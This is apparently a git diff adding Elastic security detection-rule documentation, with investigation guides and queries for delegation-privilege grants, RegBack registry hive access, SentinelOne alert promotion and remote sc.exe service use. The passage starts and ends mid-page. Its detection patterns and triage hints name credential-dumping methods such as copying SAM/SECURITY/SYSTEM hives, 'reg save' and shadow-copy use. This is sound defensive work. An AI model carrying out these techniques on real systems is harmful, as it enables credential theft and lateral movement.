"S-1-5-18" or a machine account. + - Implication: escalate when a user-backed or unexpected service account directly assigned the right; when the subject is "SYSTEM" or the machine account, treat it as policy application and keep the upstream policy source unresolved until evidence outside "4704" explains it. + +- If the grant came from a user-backed session, does the linked logon fit the admin tier? + - Focus: authentication events on `host.id` where `winlog.event_data.TargetLogonId` matches `winlog.event_data.SubjectLogonId`; read `source.ip`, `winlog.logon.type`, and `winlog.event_data.AuthenticationPackageName`. !{investigate{"description":"","label":"Logon events for the assigning session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4648","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Hint: search `winlog.event_data.SubjectLogonId` separately for "4648" explicit-credential context. Missing authentication telemetry is unresolved, not benign; skip this bridge for SYSTEM or machine-account policy application. + - Implication: escalate for an unusual admin source, remote-interactive or NewCredentials logon, unexpected NTLM, or explicit-credential use; lower concern when Kerberos and the source host fit the controlled delegation-admin workflow. + +- Did authorization-policy activity stay bounded and roll back? + - Focus: surrounding grant/removal events on `winlog.computer_name` for the same `winlog.event_data.SubjectUserSid` and `winlog.event_data.SubjectLogonId`, including other `winlog.event_data.PrivilegeList` or `winlog.event_data.TargetSid` values. !{investigate{"description":"","label":"User-right changes by the same source session","providers":[[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4704","valueType":"string"}],[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4705","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Hint: check paired removals for the same `winlog.event_data.TargetSid`, `winlog.event_data.PrivilegeList`, and `winlog.computer_name`. !{investigate{"description":"","label":"User-right removals for the granted principal","providers":[[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetSid","queryType":"phrase","value":"{{winlog.event_data.TargetSid}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.PrivilegeList","queryType":"phrase","value":"{{winlog.event_data.PrivilegeList}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4705","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Implication: escalate when the same context grants other rights, removes guardrails, touches multiple principals, repeats the grant, or lacks rollback; lower urgency when activity stays bounded to one controlled grant-plus-rollback cycle for the same target. + +- Did the actor or newly empowered account modify delegation attributes after the grant? + - Why: this right is most dangerous when followed by delegation changes on user or computer objects. + - Focus: later "5136" events where `winlog.event_data.SubjectUserSid` matches the assigning or granted principal; review `winlog.event_data.ObjectDN`, `winlog.event_data.AttributeLDAPDisplayName`, and `winlog.event_data.AttributeValue` for "userAccountControl" trusted-for-delegation flags or "msDS-AllowedToDelegateTo" updates. !{investigate{"description":"","label":"Delegation attribute changes by involved principals","providers":[[{"excluded":false,"field":"event.code","queryType":"phrase","value":"5136","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.AttributeLDAPDisplayName","queryType":"phrase","value":"userAccountControl","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"5136","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.AttributeLDAPDisplayName","queryType":"phrase","value":"msDS-AllowedToDelegateTo","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"5136","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.TargetSid}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.AttributeLDAPDisplayName","queryType":"phrase","value":"userAccountControl","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"5136","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.TargetSid}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.AttributeLDAPDisplayName","queryType":"phrase","value":"msDS-AllowedToDelegateTo","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Hint: if "5136" coverage is unavailable, preserve `winlog.event_data.TargetSid`, `winlog.event_data.SubjectUserSid`, and `winlog.computer_name` for AD follow-up instead of treating absent evidence as benign. + - Implication: escalate when either principal soon changes delegation flags or constrained-delegation targets because these values can enable Kerberos S4U abuse against named services; absence of follow-on changes lowers urgency only when target, source, and rollback also align. + +- If local evidence remains suspicious or unresolved, do detection alerts for either SID widen scope? + - Focus: recent alert-window results for the assigning account SID, `winlog.event_data.SubjectUserSid`. !{investigate{"description":"","label":"Alerts associated with the assigning account","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare the same recent window with alerts for the granted account SID, `winlog.event_data.TargetSid`. !{investigate{"description":"","label":"Alerts associated with the granted principal","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetSid","queryType":"phrase","value":"{{winlog.event_data.TargetSid}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate scope when either account has privilege, directory, ticket, or lateral-movement alerts; keep the case local when histories are quiet and local evidence supports a controlled workflow. + +- Escalate for unexpected target/source, abnormal session, absent rollback, follow-on delegation changes, or related alerts; close only when target, source, session, rollback, delegation attributes, and scope bind one controlled workflow; preserve and escalate mixed or incomplete evidence. + + +*False positive analysis* + + +- Controlled delegation administration can legitimately trigger this rule when a dedicated delegation-admin or service-management principal is temporarily granted this right. Confirm only when `winlog.event_data.TargetSid`, `winlog.event_data.SubjectUserSid` or SYSTEM/machine policy path, `winlog.computer_name`, direct-session `source.ip`, `winlog.logon.type`, `winlog.event_data.AuthenticationPackageName`, rollback, and bounded `winlog.event_data.AttributeLDAPDisplayName` or `winlog.event_data.ObjectDN` changes all fit the same change; use change records or AD owner confirmation when telemetry cannot prove intent, and do not close if any dimension diverges. +- Before creating an exception, validate recurrence for the same source, `winlog.event_data.TargetSid`, `winlog.computer_name`, direct-session source when applicable, and bounded delegation-attribute pattern. Build the exception from that minimum workflow, never from "SeEnableDelegationPrivilege" or the rule name alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the controlled workflow evidence: target SID, assigning or policy-application source, emitting system, linked authentication context, rollback, and bounded delegation-attribute changes. Keep any exception narrow and require the same workflow to recur before suppressing future alerts. +- If suspicious but unconfirmed, preserve the alert document, exported authorization-policy grant/removal records, linked "4624"/"4648" authentication records, SID-resolution notes, and any related "5136" delegation-change records before containment. Apply reversible containment such as heightened monitoring on both identities or temporary delegation-administration restrictions. Escalate to stronger containment only if follow-on directory changes, repeated grants, or related alerts show broader abuse. +- If confirmed malicious, preserve the same Windows Security records and SID-resolution evidence before destructive actions. Disable or restrict the granting or granted principal, contain the originating admin workstation when identified from `source.ip`, and hand off to Active Directory or incident response if direct response is unavailable. +- After containment, remove SeEnableDelegationPrivilege from the granted principal, verify paired removal evidence, revert unauthorized delegation-related attribute changes, and review recent authorization-policy events from the same actor for additional rollback. If delegation abuse is confirmed, prioritize credential hygiene for affected identities. +- Post-incident hardening: restrict delegation-administration rights to dedicated accounts, keep Windows Security auditing for authorization-policy and directory-service changes enabled on domain controllers, and document the final workflow or abuse pattern for future triage. + + +==== Setup + + + +*Setup* + + +Audit Authorization Policy Change must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-authorization-policy-change + + +==== Rule query + + +[source, js] +---------------------------------- +event.code:4704 and host.os.type:"windows" and winlog.event_data.PrivilegeList:"SeEnableDelegationPrivilege" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sensitive-registry-hive-access-via-regback.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sensitive-registry-hive-access-via-regback.asciidoc new file mode 100644 index 0000000000..7183c0c79e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sensitive-registry-hive-access-via-regback.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-sensitive-registry-hive-access-via-regback]] +=== Sensitive Registry Hive Access via RegBack + +Identifies attempts to access registry backup hives that can contain or enable access to credential material. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1003/002/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Sensitive Registry Hive Access via RegBack* + + + +*Possible investigation steps* + + +- Which RegBack hives did the process open, and is the set usable for credential access? + - Why: "SAM" or "SECURITY" becomes credential material when paired with "SYSTEM"; `file.size` helps assess populated hives but does not replace hive-set review. + - Focus: alert `file.path` and `file.size`, then same-process opens for other RegBack hives. !{investigate{"description":"","label":"File activity for the same process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when one process accesses "SAM" plus "SYSTEM" or all three hives, especially with populated sizes; do not close on empty/missing size alone, and keep isolated single-hive access unresolved until identity and staging are checked. + +- Does the accessing process fit a recognized recovery, backup, or forensic chain? + - Focus: `process.executable`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `process.parent.executable`. + - Hint: use `process.entity_id` to tie `process.command_line` and `process.parent.command_line` to the opener; if renamed, check `process.pe.original_file_name`. Trusted signer or Microsoft path does not clear credential-hive access. + - Implication: escalate when the binary is unsigned, user-writable, renamed, or launched by shell, script, Office, or remote-admin lineage outside recovery/evidence collection; lower suspicion when signer, path, parent, and command lines converge on one recognized workflow. + +- Did the same process stage, rename, archive, or hide hive files? + - Focus: same-process file events by `host.id` and `process.entity_id`, especially `file.path` and `file.size`. + - Hint: look for temp, user-profile, admin-share, removable, archive, or deceptive names omitting "SAM", "SECURITY", or "SYSTEM". + - Implication: escalate when hives are copied, renamed, compressed, or staged outside a recognized evidence or backup repository; lower suspicion when copies stay inside the bounded recovery/forensic case path. + +- Does the user and session identity fit protected RegBack access? + - Focus: `user.id`, `process.Ext.authentication_id`, `process.command_line`, and `process.parent.executable`. + - Hint: when present, use `process.Ext.session_info.logon_type` only as support; otherwise anchor on `process.Ext.authentication_id`, parent, and command line. + - Implication: escalate on rare user, unexplained session identifier, or remote-admin lineage without matching process and file-path evidence for recovery or forensics; lower suspicion when account, session, parent, and command line match the bounded workflow. + +- Do command lines or child processes show hive parsing, cleanup, or transfer? + - Why: RegBack reads may pair with "reg save", shadow-copy, or raw-copy variants for offline secret extraction. + - Focus: `process.command_line`, child process events where `process.parent.entity_id` matches `process.entity_id`, and copied-hive `file.path` values. !{investigate{"description":"","label":"Child process events for the accessing process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: check for "reg.exe save", shadow-copy utilities, raw-copy tools, archive tools, credential dumpers, cleanup commands, removable paths, or UNC paths. + - Implication: escalate when the lineage parses hives, creates archives, deletes staged hives, writes UNC/removable paths, or uses reg-save/shadow-copy/raw-copy variants; absence of these follow-on artifacts does not clear populated multi-hive access. + +- If local evidence is suspicious or incomplete, do related alerts expand scope? + - Focus: related alerts for `user.id` covering credential access, privilege escalation, staging, transfer, persistence, or lateral movement. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: use `host.id` when user scope is quiet or the actor is "S-1-5-18" or another service context. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden containment and credential-impact review when related alerts show adjacent post-compromise behavior; keep the case local when related alerts are quiet and all local evidence fits one recognized workflow. + +- Escalate on populated multi-hive access with suspicious identity, staging, transfer, privilege, or related-alert context; close only when telemetry aligns with one recognized backup, recovery, or forensic workflow and no contradictory evidence remains; preserve hives, process records, and copied artifacts when evidence is mixed, incomplete, or needs outside confirmation. + + +*False positive analysis* + + +- Endpoint security products (AV/EDR) routinely open RegBack hives during full-disk scans. Confirm when `process.executable` is a trusted-signed binary from a `Program Files` AV/EDR install path, `user.id` is `S-1-5-18`, and the same `process.entity_id` shows no staging, copy, archive, or multi-hive credential-set access. +- Recognized backup, recovery, or forensic workflows can legitimately access RegBack hives only when `process.executable`, `process.code_signature.subject_name`, `process.parent.executable`, `process.command_line`, copied `file.path`, `user.id`, `process.Ext.authentication_id`, and `host.id` identify the same bounded maintenance or evidence-collection scope. Leave unresolved if staging, child-process, or related-alert evidence contradicts the workflow or legitimacy rests only on owner/context. +- Before creating an exception, require recurring `process.executable`, `process.command_line`, `file.path`, `user.id`, and `host.id` across prior alerts; avoid exceptions on the RegBack path, hive name, or host alone. + + +*Response and remediation* + + +- If confirmed benign, release any temporary containment and document the confirmed workflow anchors: tool identity, parent and command line, bounded RegBack `file.path` set, copied path pattern, `user.id`, and `host.id`. Create an exception only if those anchors recur consistently across prior alerts from this rule. +- If suspicious but unconfirmed, export the alert, process timeline, same-process file activity, and any copied, archived, UNC, or removable-media hive paths before containment. Preserve hive copies when present. Apply reversible containment first, such as restricting the process, copied path, share access, or involved `user.id`; escalate to host isolation only when populated multi-hive access is paired with staging, transfer paths, or related post-compromise alerts and the asset can tolerate it. +- If confirmed malicious, record and preserve the responsible process instance, process timeline, and hive artifact paths before containment. Then use Elastic Defend response actions to isolate the host and kill or suspend the process. If direct endpoint response is unavailable, escalate with those artifacts to the team that can isolate the host or disable the involved account. Block confirmed malicious tools, paths, shares, and copied artifacts tied to the RegBack access before cleanup. +- If the same process accessed populated "SAM", "SECURITY", and "SYSTEM" files, treat the case as higher-confidence credential exposure and begin local-account and cached-credential hygiene appropriate to the host role. On shared admin systems or servers with privileged local accounts, escalate identity-impact handling according to the credential-compromise runbook. +- Before eradication, scope the same process identity, RegBack path set, copy destinations, `user.id`, and `host.id` across related alerts so evidence is preserved before cleanup. Then remove unauthorized tools, copied hives, archives, remote-share artifacts, and persistence mechanisms uncovered during the investigation, and remediate the access vector or privilege path that allowed RegBack access. +- Post-incident hardening: restrict RegBack access to recognized backup, recovery, and forensic tooling; retain endpoint process and file telemetry needed for this workflow; and document any "reg save", shadow-copy, or raw-copy variants surfaced during triage for future case comparison. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and + event.action == "open" and event.outcome == "success" and process.executable != null and + file.path : + ("?:\\Windows\\System32\\config\\RegBack\\SAM", + "?:\\Windows\\System32\\config\\RegBack\\SECURITY", + "?:\\Windows\\System32\\config\\RegBack\\SYSTEM") and + not ( + user.id == "S-1-5-18" and process.executable : ( + "?:\\Windows\\system32\\taskhostw.exe", + "?:\\Windows\\system32\\taskhost.exe", + "?:\\Program Files\\Sophos\\Endpoint Defense\\SophosScanCoordinator.exe", + "?:\\Program Files\\Sophos\\Endpoint Defense\\SSPService.exe", + "?:\\Program Files\\Windows Defender Advanced Threat Protection\\MsSense.exe", + "?:\\Program Files\\Trend Micro\\AMSP\\coreServiceShell.exe", + "?:\\Program Files\\Symantec\\Symantec Endpoint Protection\\*\\Bin64\\ccSvcHst.exe", + "?:\\Program Files\\Bitdefender\\Endpoint Security\\EPSecurityService.exe", + "?:\\Program Files\\N-able Technologies\\AVDefender\\EPSecurityService.exe", + "?:\\Program Files\\Cylance\\Optics\\CyOptics.exe", + "?:\\Program Files\\Common Files\\McAfee\\AVSolution\\mcshield.exe", + "?:\\Program Files (x86)\\Padvish AV\\APCcSvc.exe" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Security Account Manager +** ID: T1003.002 +** Reference URL: https://attack.mitre.org/techniques/T1003/002/ +* Sub-technique: +** Name: LSA Secrets +** ID: T1003.004 +** Reference URL: https://attack.mitre.org/techniques/T1003/004/ +* Sub-technique: +** Name: Cached Domain Credentials +** ID: T1003.005 +** Reference URL: https://attack.mitre.org/techniques/T1003/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sentinelone-alert-external-alerts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sentinelone-alert-external-alerts.asciidoc new file mode 100644 index 0000000000..6f59bf4f26 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sentinelone-alert-external-alerts.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-34-sentinelone-alert-external-alerts]] +=== SentinelOne Alert External Alerts + +Generates a detection alert for each SentinelOne alert written to the configured indices. Enabling this rule allows you to immediately begin investigating SentinelOne alerts in the app. + +*Rule type*: query + +*Rule indices*: + +* logs-sentinel_one.alert-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://docs.elastic.co/en/integrations/sentinel_one + +*Tags*: + +* Data Source: SentinelOne +* Use Case: Threat Detection +* Resources: Investigation Guide +* Promotion: External Alerts +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Endpoint + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating SentinelOne Alert External Alerts* + + +SentinelOne is a cybersecurity platform that provides endpoint protection by detecting and responding to threats in real-time. The rule identifies such threats by monitoring specific alert events, enabling analysts to swiftly investigate and mitigate potential security incidents. + + +*Possible investigation steps* + + +- Correlate the alert with recent activity on the affected endpoint to identify any unusual or suspicious behavior patterns. +- Check for any additional alerts or logs related to the same endpoint or user to determine if this is part of a broader attack or isolated incident. +- Investigate the source and destination IP addresses involved in the alert to assess if they are known to be malicious or associated with previous threats. +- Analyze any files or processes flagged in the alert to determine if they are legitimate or potentially malicious, using threat intelligence sources if necessary. +- Consult the SentinelOne investigation guide and resources tagged in the alert for specific guidance on handling similar threats. + + +*False positive analysis* + + +- Alerts triggered by routine software updates or patches can be false positives. Review the context of the alert to determine if it aligns with scheduled maintenance activities. +- Legitimate administrative tools or scripts may trigger alerts. Identify and whitelist these tools if they are verified as non-threatening. +- Frequent alerts from known safe applications or processes can be excluded by creating exceptions for these specific behaviors in the SentinelOne configuration. +- Network scanning or monitoring tools used by IT teams might be flagged. Ensure these tools are documented and excluded from triggering alerts if they are part of regular operations. +- User behavior that is consistent with their role but triggers alerts should be reviewed. If deemed non-malicious, adjust the rule to exclude these specific user actions. + + +*Response and remediation* + + +- Isolate the affected endpoint immediately to prevent lateral movement and further compromise within the network. +- Analyze the specific alert details to identify the nature of the threat and any associated indicators of compromise (IOCs). +- Remove or quarantine any malicious files or processes identified by the SentinelOne alert to neutralize the threat. +- Apply relevant security patches or updates to address any exploited vulnerabilities on the affected endpoint. +- Conduct a thorough scan of the network to identify any additional endpoints that may have been compromised or are exhibiting similar behavior. +- Document the incident and escalate to the appropriate security team or management if the threat is part of a larger attack campaign or if additional resources are needed for remediation. +- Review and update endpoint protection policies and configurations to enhance detection and prevention capabilities against similar threats in the future. + + +==== Setup + + + +*Setup* + + + +*SentinelOne Alert Integration* + +This rule is designed to capture alert events generated by the SentinelOne integration and promote them as Elastic detection alerts. + +To capture SentinelOne alerts, install and configure the SentinelOne integration to ingest alert events into the `logs-sentinel_one.alert-*` index pattern. + +If this rule is enabled alongside the External Alerts promotion rule (UUID: eb079c62-4481-4d6e-9643-3ca499df7aaa), you may receive duplicate alerts for the same SentinelOne events. Consider adding a rule exception for the External Alert rule to exclude datastream.dataset: sentinel_one.alert to avoid receiving duplicate alerts. + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind: event and data_stream.dataset: sentinel_one.alert + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sentinelone-threat-external-alerts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sentinelone-threat-external-alerts.asciidoc new file mode 100644 index 0000000000..71419f6897 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sentinelone-threat-external-alerts.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-34-sentinelone-threat-external-alerts]] +=== SentinelOne Threat External Alerts + +Generates a detection alert for each SentinelOne threat written to the configured indices. Enabling this rule allows you to immediately begin investigating SentinelOne threat alerts in the app. + +*Rule type*: query + +*Rule indices*: + +* logs-sentinel_one.threat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://docs.elastic.co/en/integrations/sentinel_one + +*Tags*: + +* Data Source: SentinelOne +* Use Case: Threat Detection +* Resources: Investigation Guide +* Promotion: External Alerts +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Endpoint + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating SentinelOne Threat External Alerts* + + +SentinelOne is a cybersecurity platform that provides endpoint protection by detecting and responding to threats in real-time. The rule identifies such threats by monitoring specific threat events, enabling analysts to swiftly investigate and mitigate potential security incidents. + + +*Possible investigation steps* + + +- Correlate the threat alert with recent activity on the affected endpoint to identify any unusual or suspicious behavior patterns. +- Check for any additional alerts or logs related to the same endpoint or user to determine if this is part of a broader attack or isolated incident. +- Investigate the source and destination IP addresses involved in the threat to assess if they are known to be malicious or associated with previous threats. +- Analyze any files or processes flagged in the threat alert to determine if they are legitimate or potentially malicious, using threat intelligence sources if necessary. +- Consult the SentinelOne investigation guide and resources tagged in the alert for specific guidance on handling similar threats. + + +*False positive analysis* + + +- Threats triggered by routine software updates or patches can be false positives. Review the context of the threat to determine if it aligns with scheduled maintenance activities. +- Legitimate administrative tools or scripts may trigger threat alerts. Identify and whitelist these tools if they are verified as non-threatening. +- Frequent threat alerts from known safe applications or processes can be excluded by creating exceptions for these specific behaviors in the SentinelOne configuration. +- Network scanning or monitoring tools used by IT teams might be flagged. Ensure these tools are documented and excluded from triggering alerts if they are part of regular operations. +- User behavior that is consistent with their role but triggers threat alerts should be reviewed. If deemed non-malicious, adjust the rule to exclude these specific user actions. + + +*Response and remediation* + + +- Isolate the affected endpoint immediately to prevent lateral movement and further compromise within the network. +- Analyze the specific threat alert details to identify the nature of the threat and any associated indicators of compromise (IOCs). +- Remove or quarantine any malicious files or processes identified by the SentinelOne threat alert to neutralize the threat. +- Apply relevant security patches or updates to address any exploited vulnerabilities on the affected endpoint. +- Conduct a thorough scan of the network to identify any additional endpoints that may have been compromised or are exhibiting similar behavior. +- Document the incident and escalate to the appropriate security team or management if the threat is part of a larger attack campaign or if additional resources are needed for remediation. +- Review and update endpoint protection policies and configurations to enhance detection and prevention capabilities against similar threats in the future. + + +==== Setup + + + +*Setup* + + + +*SentinelOne Threat Integration* + +This rule is designed to capture threat events generated by the SentinelOne integration and promote them as Elastic detection alerts. + +To capture SentinelOne threat alerts, install and configure the SentinelOne integration to ingest threat events into the `logs-sentinel_one.threat-*` index pattern. + +If this rule is enabled alongside the External Alerts promotion rule (UUID: eb079c62-4481-4d6e-9643-3ca499df7aaa), you may receive duplicate alerts for the same SentinelOne events. Consider adding a rule exception for the External Alert rule to exclude datastream.dataset: sentinel_one.threat to avoid receiving duplicate alerts. + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind: alert and data_stream.dataset: sentinel_one.threat + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-service-command-lateral-movement.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-service-command-lateral-movement.asciidoc new file mode 100644 index 0000000000..f485b226ae --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-service-command-lateral-movement.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-service-command-lateral-movement]] +=== Service Command Lateral Movement + +Identifies use of sc.exe to create, modify, or start services on remote hosts. This could be indicative of adversary lateral movement but will be noisy if commonly done by admins. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Service Command Lateral Movement* + + +The Service Control Manager in Windows allows for the management of services, which are crucial for system operations. Adversaries exploit this by using `sc.exe` to manipulate services on remote systems, facilitating lateral movement. The 